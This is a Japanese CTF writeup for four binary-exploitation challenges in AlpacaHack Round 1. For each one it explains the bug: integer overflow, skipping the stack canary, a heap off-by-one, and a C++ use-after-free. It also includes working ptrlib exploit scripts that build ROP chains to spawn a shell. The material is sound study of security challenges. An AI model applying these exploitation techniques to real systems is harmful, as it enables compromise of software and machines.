AlpacaHack Round 1 (Pwn) Writeup (echo, hexecho, deck, todo)

keymoonくんが直近でずっと作り続けていた個人戦CTFプラットフォーム「AlpacaHack」の記念すべきFirst Roundに参加した。 *1 今回はptr-yudai 作問の Pwnが4問出題される6時間コンテストだった。

結果は、全完(5:20:30)で3位。以下に書くようにUbuntu 24.04を当初使っていた結果苦しんだ時間を念頭においても、1, 2位との差は大きかった。クーン

問題もあと一問ハード問足せばこれだけで24時間コンテストの問題セット(例えばSECCON quals?さすがに嘘か?)にしても良いんじゃないかという雰囲気(さすがにやや典型より過ぎかもしれないが)で、しかも6時間で解けるように設計されており非常に質が高かった。☆5です。

以下は、これからも応援しているという感情に基づくwriteup

echo

正直ちょっと舐めてたので、RTA CTF1問目くらいの難易度を想定していたら、かなり苦しんだ

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}
/* omitted */
void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

バイナリは、get_sizeでsizeを受け取ってその分だけget_dataをしてくれるだけのサービス。 abs(size)は、$-2^{31}$ を与えると整数オーバーフローするので(以下参照)

ubuntu@ip-172-31-19-240:~/test$ cat uo.c
#include <stdio.h>

int main(void) {
    int size = -2147483648;
    int size2 = abs(size);
    printf("%d\n", size2);
    return 0;
}
ubuntu@ip-172-31-19-240:~/test$ ./a.out
-2147483648

これをsizeに用いると(unsignedで見ると)BUF_SIZE超えのsizeを得ることができる。win関数があるので、あとはスタックオーバフローをして、retアドレスをwinに向ければよい。

from ptrlib import *

binary = "./echo"
elf = ELF(binary)

"""
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
"""
# libc = ELF("./libc.so.6")
r = Socket("nc 34.170.146.252 17360")
# """

def sla(*args):
    print(args)
    r.sendlineafter(*args)

win = elf.symbol("win")
logger.info("win: " + hex(win))

payload = p64(win) * 100
sla("Size: ", "-2147483648")
sla("Data: ", payload)
r.sh()

Third Blood

hexecho

長さの制限が無く入力として1バイトずつhexdecimalな数字を受け取るという以下のようなプログラム

void get_hex(char *buf, unsigned size) {
  for (unsigned i = 0; i < size; i++)
    scanf("%02hhx", buf + i);
}

void hexecho() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data (hex): ");
  get_hex(buf, size);

  // Show data
  printf("Received: ");
  for (int i = 0; i < size; i++)
    printf("%02hhx ", (unsigned char)buf[i]);
  putchar('\n');
}

以下のようにhexdecimalな形式で好きなだけ長いバイト列を送ることができるが、stack canaryがある。

❯ ./hexecho
Size: 4
Data (hex): 12345678
Received: 12 34 56 78

❯ checksec --file=hexecho
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

stack canaryをリークできるような余裕はないので、困ったという気持ちになるが、+や-をscanfに与えると書き込み先のバッファに何も書き込むことなく終了させることができることを思い出すと、バッファオーバーフローでcanaryの部分だけスキップして書き込むようにすればあとはROPができることが分かる。

❯ ./hexecho
Size: 256
Data (hex): + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Received: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 80 bc a7 74 ff 7f 00 00 0f 5c e9 2d 68 7a 00 00 c0 45 00 2e 68 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 20 00 2e 68 7a 00 00 a0 bc a7 74 ff 7f 00 00 05 24 e9 2d 68 7a 00 00 00 00 00 00 00 00 00 00 c0 45 00 2e 68 7a 00 00 d0 bc a7 74 ff 7f 00 00 7b 84 e8 2d 68 7a 00 00 08 be a7 74 ff 7f 00 00 01 00 00 00 00 00 00 00

今回はwin関数が無いので、pwnする際にはsystem("/bin/sh")をするためにlibcアドレスのリークが必要になる。以下のsolverでは、第一段階でcanaryを避けながらmainにretをしつつ、さらにstack上に落ちているlibc_start_mainのアドレスをリークしlibcアドレスを得る。その上で二ターン目において system("/bin/sh") に対応するROPを行う(今回はcanaryもリークできているはずで避ける必要もないが避けている)。

from ptrlib import *

binary = "./hexecho"
elf = ELF(binary)

"""
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
"""
libc = ELF("./libc.so.6")
r = Socket("nc 34.170.146.252 51786")
# """

def wait_for_attach():
    if not is_remote:
        input('attach?')

def sla(*args):
    r.sendlineafter(*args)


buf = b"ABCDEFGH" * (264 // 8)

payload = buf.hex() + "\n"
payload += "+\n" * 8

rop = [
    next(elf.gadget("ret")),
    elf.symbol("main")
]
payload += p64(0xdeadbeef).hex()
payload += b''.join(map(p64, rop)).hex()
payload += "+\n" * 8

sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop)))
sla("Data (hex): ", payload)
l = r.recvlineafter(": ").decode("ascii")
l = l.split(" ")[-8:]
libc_ret = 0
for x in l[::-1]:
    libc_ret *= 256
    libc_ret += int(x, 16)
print("libc_ret:", hex(libc_ret))

# libc.base = libc_ret - 0x2a1ca
libc.base = libc_ret - 0x10d90 - 25 * 0x1000

# phase 2:

buf = b"HOGENEKO" * (264 // 8)

payload = buf.hex() + "\n"
payload += "+\n" * 8

rop = [
    next(libc.gadget("ret")),
    next(libc.gadget("pop rdi; ret")),
    next(libc.find("/bin/sh")),
    libc.symbol("system")
]

payload += p64(0xdeadbeef).hex()
payload += b''.join(map(p64, rop)).hex()
payload += "+\n" * 8

sla("Size:", str(len(buf) + 8 + 16 + 8 * len(rop)))
sla("Data (hex): ", payload)
r.sh()

Second Blood (微妙に24.04との環境差で苦しんでいた時間で捲くられて悔しい。カスだから最後 libc_start_main のオフセット分からなくてブルートフォースした。なんで?)

deck

ヒープ問。トランプのカードのデッキをシャッフルし、そのトップに有るカードを当てるゲームが実装されており、ユーザーはゲームプレイの他、シャッフルアルゴリズムの変更とユーザー名の変更が可能になっている。

typedef unsigned short card_t;
typedef struct _game_t {
  void (*shuffle)(card_t*);
  card_t *deck;
  char *name;
} game_t;
/** omitted **/
void shuffle_knuth(card_t *deck) {
  size_t i, j;

  for (i = DECK_SIZE; i > 0; i--) {
    j = rand() % (i + 1); // off-by-one!!
    swap_cards(deck, i, j);
  }
}

void game_play(game_t *game) {
  printf("Challenger: %s\n", game->name);
  game->shuffle(game->deck);
    /** omitted **/ 
}

void main() {
/** omitted **/ 
    puts("1. Play a game\n"
         "2. Change shuffle method\n"
         "3. Change your name");
    switch (getval("> ")) {
      case 1:
        game_play(game);
        break;

      case 2: /** omitted **/

      case 3: {
        char *name;
        size_t len = getval("Length: ");

        if (len > 0x1000) {
          puts("[-] Invalid length");
          break;
        }

        if (!(name = (char*)malloc(len + 1))) {
          puts("[-] Cannot allocate memory");
          break;
        }

        getstr("Name: ", name, len);

        free(game->name);
        game->name = name;
        break;
      }

      default:
        game_del(game);
        return 0;
    }

カード情報は、以下のように2バイト整数で管理されており、

#define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank))
#define CARD_SUIT(card) ((card_t)(card) >> 8)
#define CARD_RANK(card) ((card_t)(card) & 0xff)

これらのゲーム情報がゲーム開始時にmallocを用いて以下のように初期化される。

game_t* game_new() {
  game_t *game;
  char *name = NULL;
  card_t *deck = NULL;

  if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE)))
    goto err;
  if (!(name = strdup("Human")))
    goto err;
  if (!(game = (game_t*)malloc(sizeof(game_t))))
    goto err;

  for (size_t i = 0; i < DECK_SIZE; i++)
    deck[i] = MAKE_CARD(i / 13, i % 13);

  game->deck = deck;
  game->name = name;
  game->shuffle = shuffle_naive;
  srand(time(NULL));
  return game;

脆弱性は、上述の shuffle_knuthのoff-by-oneで、52番目の要素までswapしてしまう。上のゲーム初期化パートを見ると、ヒープ領域は以下のような順序で配置されている。

pwndbg> x/40gx 0x1f4b290
0x1f4b290:  0x0000000000000000  0x0000000000000071
/** cards **/
0x1f4b2a0:  0x0003000200010000  0x0007000600050004
0x1f4b2b0:  0x000b000a00090008  0x010201010100000c
0x1f4b2c0:  0x0106010501040103  0x010a010901080107
0x1f4b2d0:  0x02010200010c010b  0x0205020402030202
0x1f4b2e0:  0x0209020802070206  0x0300020c020b020a
0x1f4b2f0:  0x0304030303020301  0x0308030703060305
0x1f4b300:  0x030c030b030a0309  0x0000000000000021
/** strdup("Human") **/
0x1f4b310:  0x0000006e616d7548  0x0000000000000000
0x1f4b320:  0x0000000000000000  0x0000000000000021
/** game_t **/
0x1f4b330:  0x000000000040143a  0x0000000001f4b2a0
0x1f4b340:  0x0000000001f4b310  0x0000000000020cc1

したがって、cardsの一つ先の2バイトは、"Human"バッファのヒープ管理領域で長さを表す部分であることが分かる。すなわち、いい感じのswapが起こると次のバッファのサイズを大きくすることができると分かる。実際には、上述のように2バイト整数で管理されているMSBから2バイト目はsuitを表しており、これは0~3であり、1バイト目は0~12なので、1/4の確率でバッファサイズ0x200とかになるイメージである(実際にはis_mappedがついているかなども重要になる)。 少し頑張ると確率をあげることも可能だが、大した確率ではないので今回は0x200に固定した場合のみを考えた。

Humanのバッファの長さを大きくできるようになったので、次にこのバッファと名前の変更機能を用いてヒープバッファーオーバーフローを行う。今回のバイナリは以下のようにNo PIEだったので、

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

まずはGame構造体のshuffle関数をputsに書き換えたうえでcardsをprintf_got_addrにして、libcアドレスリーク、その上で同じプリミティブを用いて system("/bin/sh") を行った

full exploitは、GitHubを参照

sizes = []
#sizes.append(0x10)
for i in range(6):
    sizes.append(0x10 * i)
sizes.append(0x70)
sizes.append(0xf0)
#sizes.append(0x80)
for size in sizes:
    ch_name("A" * size)

ch_method(2)
play(1, 1)

ch_name("A" * 0x10)

wait_for_attach()
print("come on")
ch_name("A" * 0x8)
print("nice")
ch_name("A" * 0x8)
print("cool")

# libc_leak

payload = [
        0xdead, 0xbeef,
        0, 0x21,
        puts, printf_got]
payload = flat(payload, map=p64)[:-1]

ch_name(payload, 0x1f0)

r.recvuntil("3. Change your name")
sla(">", "1")
r.recvlineafter('Challenger:')
res = r.recvline()
sla(": ", 1)
sla(": ", 1)

l = r.recvlineafter("card: ")

printf = libc.symbol("printf")
libc.base = just_u64(res) - printf
print("libc_base:", hex(libc.base))

wait_for_attach()

system = libc.symbol("system")
binsh = next(libc.find("/bin/sh"))
assert(printf is not None)
assert(system is not None)

# overwrite
## free
ch_name(b"A" * 0x250)
payload = [
        0xdead, 0xbeef,
        0, 0x21,
        system, binsh]

payload = flat(payload, map=p64)[:-1]
ch_name(payload, 0x1f0)

r.recvuntil("3. Change your name")
sla(">", "1")

r.sh()

todo

かなり典型的な形のC++ノート問。std::stringstd::vectorが絡むのでちょっと筋肉がいる。以下が問題のソースコード

#include <iostream>
#include <vector>

int main() {
  size_t choice, index;
  std::string todo;
  std::vector<std::string> todo_list;

  std::cin.rdbuf()->pubsetbuf(nullptr, 0);
  std::cout.rdbuf()->pubsetbuf(nullptr, 0);

  std::cout << "1. add" << std::endl
            << "2. show" << std::endl
            << "3. edit" << std::endl
            << "4. delete" << std::endl;
  while (std::cin.good()) {
    std::cout << "> ";
    std::cin >> choice;

    switch (choice) {
      case 1: // add
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo);
        todo_list.emplace_back(todo);
        break;

      case 2: // show
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: " << todo_list[index] << std::endl;
        break;

      case 3: // edit
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        std::cout << "TODO: ";
        std::cin.ignore();
        std::getline(std::cin, todo_list[index]);
        break;

      case 4: // delete
        std::cout << "Index: ";
        std::cin >> index;
        if (index >= todo_list.capacity()) {
          std::cout << "[-] Invalid index" << std::endl;
          break;
        }
        todo_list.erase(todo_list.begin() + index);
        break;

      default:
        return 0;
    }
  }
  return 0;
}

機能は 1. 好きな長さの文字列を std::cinで受け取って todo_list vectorに追加 2. todo_list のindexを指定して文字列を表示 3. todo_list のindexを指定して文字列を編集 4. todo_list のindexを指定して文字列を削除

脆弱性はindexが範囲内にあるかが todo_list.capacity()にあるかで判断している点(sizeであるべき)。したがって、vectorのサイズが縮まない限りはfree後の文字列へのUAFが可能。

残りはゴリゴリのC++ heap pwn。基本方針は 1. UAFで、tcacheのfdからヒープのアドレスをリーク(libcが2.35なのでencodeに注意) 2. 同じ要領で0x500くらいのバッファを使ってunsorted binsにつながったバッファのUAFでlibcアドレスをリーク 3. 次に、tcache poisoningを利用して、todo_list vectorと同じヒープバッファをstd::stringとして取得し、一番目の要素を environ に変更。 show(0)を通してstack address leak 4. tcache poisoningを用いてret addressを指すバッファを取得し、ROPのペイロードを送る 5. (ちゃんとfreeができるような)fake chunkを多数作って、todo_listのstringたちの持つバッファをそれらのfake chunkを指すように変更 6. mainからreturnしてRCE という流れ。5が必要なのは、std::vectorのデストラクタが最終的に自分の持っているバッファをfreeし始めるが、3や4をしている段階でfreeできない(freeすると落ちる)ようなバッファをどうしても作ってしまうので、辻褄合わせのため。

スクリプトGitHub上に乗せたのでブログ上は長いため割愛。 https://github.com/moratorium08/ctf_writeups/tree/master/2024/alpacahack_1/todo

Third Blood

感想

最近、pwndbg/gefやptrlib、roprなどの新しいツーリングへの移行を行い、シェル周りの環境も整備したCTF用VMUbuntu 24.04環境にて用意していたのだが、問題が軒並み22.04のlibcを使っていたので、挙動差に苦労した(いや最初から合わせろという話なんですが...)。特にtodoに対するスクリプトが結局remoteで動かず(人はなぜダメ元でこういうことをしてしまうのか)、泣く泣く古き良きgdb-pedaの入った環境を取り出してきて、こちらで todoとdeckを解いた。やはり老人のツーリングから逃げられないらしい。

個人戦CTF6時間は結構体力持ってかれるが、久々に元気出したなという感じだった。問題も(6時間個人コンテストと考えると)かなりちゃんとしていて(Cake並?RTACTF以上?みたいなイメージ)、これを毎月とか開催するのはさすがのptr-yudaiでもきついんじゃないかという気がするが、無理のない範囲で定期開催されていると嬉しい。

あとはAlpacaHackがもっと大きくなって、初回の結果を10年後とかに擦れると嬉しいかな。keymoon先生全力応援

*1:minaminaoさんもメイン開発者らしい。実のところ誰が作っているのかよく把握していない